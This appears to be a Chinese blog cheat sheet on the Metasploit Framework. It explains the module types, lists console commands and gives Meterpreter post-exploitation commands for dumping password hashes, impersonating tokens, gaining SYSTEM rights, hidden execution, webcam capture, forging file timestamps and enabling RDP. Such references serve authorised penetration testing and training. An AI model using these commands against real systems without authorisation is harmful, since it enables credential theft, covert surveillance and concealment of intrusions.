贵有恒何必三更眠五更起,最无益只怕一日曝十日寒
话不多说,上干货。
MSF主要模块
渗透模块(exploit):运行时会利用目标主机漏洞进行攻击。
攻击载荷模块(payload):在成功对目标完成一次渗透之后,这段程序开始在目标主机上运行,帮助我们获取需要的访问和行动权限。
辅助模块(auxiliary):包含一系列辅助支持模块,包括扫描模块、fuzz测试漏洞发掘模块、网络协议欺骗以及其他一些模块。
编码器模块(encoder):通常用来对我们的攻击模块进行代码混淆,来逃过目标的安全保护机制的检测。目标的安全保护机制包括杀毒软件和防火墙等。但由于MSF是最流行渗透测试软件,通常安全厂商都会参照MSF最新的技术对自家的WAF进行升级,导致encoder模块大概率被WAF拦截,实用性不高。
Meterpreter模块:是一种使用内存技术的攻击载荷,可以注入到进程中,它提供了各种可以在目标上执行的功能。
MSF基础指令
- 进入MSF:root@kali:~# msfconsole
- 退出MSF:msf5:quit或exit
- 返回上一层:msf5: back
- 查询可执行指令:msf5: ?
- 显示MSF版本信息:msf5: version
- 查看MSF详细信息:msf5: banner(拥有模块数量统计)
- 颜色风格:msf5: color [true/false/auto]
- 连接主机:msf5:connect [option] host port
- 进入脚本模式:msf5: irb
- 加载一个插件:msf5:load [option] [var=var var=var…]
- 卸载一个模块:msf5:unload [option] [var=var var=var…]
- 查看一个会话的路由信息:msf5:route
- 显示和管理作业(任务管理器):msf5:jobs
- 杀死一个作业:msf5:kill [id]
- 加载一个模块路径:msf5:loadpath 路径
- 查看所有类型模块:msf5:show
MSF常用指令
- 搜索查询:msf5:search [漏洞名称/系统名称/服务名称等]
- 使用模块:msf5:use 脚本路径
- 查看脚本与漏洞信息:exploit:info
- 查看脚本设置项:exploit:show option
- 设置脚本项:exploit:set [RHOSTS/LHOST/PORT…] [value]
- 接触脚本项:exploit:unset [RHOSTS/LHOST/PORT…] [value]
- 设置全部脚本项:exploit:setg [RHOSTS/LHOST/PORT…] [value]
- 解除全部脚本项:exploit:unsetg [RHOSTS/LHOST/PORT…] [value]
MFS常用后攻击指令:
-
文件上传win系统:msf5:upload -r [本机文件路径][对方存放路径]
-
从目标系统下载文件:msf5:download -r [对方文件路径][本机存放路径]
-
执行目标文件:msf5:execute -f [对方文件路径]
-
创建CMD新通道:msf5:execute -f cmd -c
-
显示对方进程:msf5:ps
-
获取目标cmd shell:msf5:shell
-
获取admin权限:msf5:getsystem
-
获取服务器hash密码:msf5:hashdump
-
使用credcpllect转储hash值:msf5:run credcollect
-
创建端口转发:msf5:portfwd add -l [本机端口] -p[目标主机端口] 127.0.0.1
-
解除端口转发:msf5:portfwd delete -l [本机端口] -p[目标主机端口] 127.0.0.1
-
搜索目标系统文件:msf5:search -f [文件名]
-
获取用户id:msf5:getuid
-
获取目标系统信息:msf5:sysinfo
-
token操作:msf5:use incognito→list_tokens -u→impersonate_token "[token值]"
-
摄像头命令:查看:msf5:webcam_list
拍照:msf5:webcam_snap
开启视频:msf5:webcam_stream -
执行文件:msf5:execute -H -i -f cmd.exe(-H不可见、-i交互)
-
伪造时间戳:
查看帮助:msf5:timestomp -h
查看文件1.txt时间戳:msf5:timestomp -v c://1.txt
将1.txt的时间戳复制给2.txt:msf5:timestomp c://2.txt -f c://1.txt -
开启目标的3389端口:
开启远程桌面:msf5:run post/windows/manage/enable_rdp
输入用户名密码:msf5:run post/windows/manage/enable_rdp USERNAME=XXX PASSWORD=XXX
端口转发:msf5:**run post/windows/manage/enable_rdp FOEWARD=true LPORT=[本地端口] **